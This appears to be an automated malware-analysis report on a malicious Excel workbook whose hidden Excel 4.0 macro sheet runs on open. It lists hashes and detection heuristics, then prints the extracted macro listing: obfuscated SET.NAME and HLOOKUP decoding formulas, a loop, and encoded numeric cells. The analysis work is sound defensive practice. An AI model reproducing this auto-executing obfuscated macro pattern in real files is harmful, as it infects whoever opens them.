Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 62520570b15864ee…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:46:35 Authoring application: Microsoft Excel First seen: 2021-03-31
MD5: 2948469c60fbbbcbd30da6dee149ca8c SHA-1: d36ae09117c869bf708a6ca45d69f6308babb1f4 SHA-256: 62520570b15864eede302539548418b46018345266d18cc76885cad9c843fa6d
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6677 bytes
SHA-256: 8bc7af4d83ddfb781c46590afeccbf5c5ba74aa1cbe44461458a1045c1103826
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  EpZmljn
' 0018     23 LABEL : Cell Value, String Constant - aHaXpwRH len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A166 
' 0018     23 LABEL : Cell Value, String Constant - bjuTJQlM len=0 
' 0018     25 LABEL : Cell Value, String Constant - drkqPiyWln len=0 
' 0018     22 LABEL : Cell Value, String Constant - GhLpQnS len=0 
' 0018     22 LABEL : Cell Value, String Constant - jRmcYem len=0 
' 0018     24 LABEL : Cell Value, String Constant - OAObaOBuU len=0 
' 0018     26 LABEL : Cell Value, String Constant - OeaUYRdrNDk len=0 
' 0018     20 LABEL : Cell Value, String Constant - ohPrh len=0 
' 0018     26 LABEL : Cell Value, String Constant - OMqYCOPwdvA len=0 
' 0018     25 LABEL : Cell Value, String Constant - PkikBxDyqc len=0 
' 0018     21 LABEL : Cell Value, String Constant - PXMbAq len=0 
' 0018     24 LABEL : Cell Value, String Constant - QowrRwVUb len=0 
' 0018     22 LABEL : Cell Value, String Constant - qXtHvcA len=0 
' 0018     25 LABEL : Cell Value, String Constant - SVnbzOaLUY len=0 
' 0018     20 LABEL : Cell Value, String Constant - sYqKb len=0 
' 0018     21 LABEL : Cell Value, String Constant - uGBuiV len=0 
' 0018     21 LABEL : Cell Value, String Constant - uKzEki len=0 
' 0018     20 LABEL : Cell Value, String Constant - WZvND len=0 
' 0018     25 LABEL : Cell Value, String Constant - yBbbivhGBe len=0 
' 0018     21 LABEL : Cell Value, String Constant - ywWyHB len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  EpZmljn,A72,"SET.NAME("uKzEki",0+VALUE("0"))",""
'  EpZmljn,A75,"SET.NAME("SVnbzOaLUY",uKzEki)",""
'  EpZmljn,R75,"",-346.00000000000000000000
'  EpZmljn,R76,"",-8.00000000000000000000
'  EpZmljn,R77,"",-460.00000000000000000000
'  EpZmljn,R78,"",-294.00000000000000000000
'  EpZmljn,R79,"",744.00000000000000000000
'  EpZmljn,A80,"SET.NAME("uGBuiV",uKzEki)",""
'  EpZmljn,R80,"",37.00000000000000000000
'  EpZmljn,A85,"SET.NAME("QowrRwVUb",COUNTA(OeaUYRdrNDk))",""
'  EpZmljn,A87,"SET.NAME("OMqYCOPwdvA",COUNTA(bjuTJQlM))",""
'  EpZmljn,A90,[],""
'  EpZmljn,A95,"SET.NAME("drkqPiyWln","")",""
'  EpZmljn,A97,"SVnbzOaLUY",""
'  EpZmljn,A101,"SET.NAME("GhLpQnS",HLOOKUP("*",OeaUYRdrNDk,SVnbzOaLUY,FALSE))",""
'  EpZmljn,A106,"sYqKb",""
'  EpZmljn,A108,"SET.NAME("ywWyHB",uKzEki)",""
'  EpZmljn,A112,[],""
'  EpZmljn,A115,"ywWyHB",""
'  EpZmljn,A117,"ohPrh",""
'  EpZmljn,A122,"aHaXpwRH",""
'  EpZmljn,A127,"PkikBxDyqc",""
'  EpZmljn,A131,"SET.NAME("PXMbAq",VALUE(HLOOKUP("*",bjuTJQlM,PkikBxDyqc,FALSE)))",""
'  EpZmljn,A136,"OAObaOBuU",""
'  EpZmljn,A138,"drkqPiyWln",""
'  EpZmljn,A140,"uGBuiV",""
'  EpZmljn,A145,NEXT(),""
'  EpZmljn,A148,"qXtHvcA",""
'  EpZmljn,A150,[],""
'  EpZmljn,A153,"WZvND",""
'  EpZmljn,A157,NEXT(),""
'  EpZmljn,A161,RETURN(),""
'  EpZmljn,A187,"SET.NAME("yBbbivhGBe",A72)",""
'  EpZmljn,A190,"OeaUYRdrNDk",""
'  EpZmljn,A194,"SET.NAME("bjuTJQlM",R57C12)",""
'  EpZmljn,A199,"SET.NAME("WZvND",206)",""
'  EpZmljn,A202,"SET.NAME("jRmcYem",1)",""
'  EpZmljn,A205,yBbbivhGBe(),""
'  EpZmljn,A206,HALT(),""

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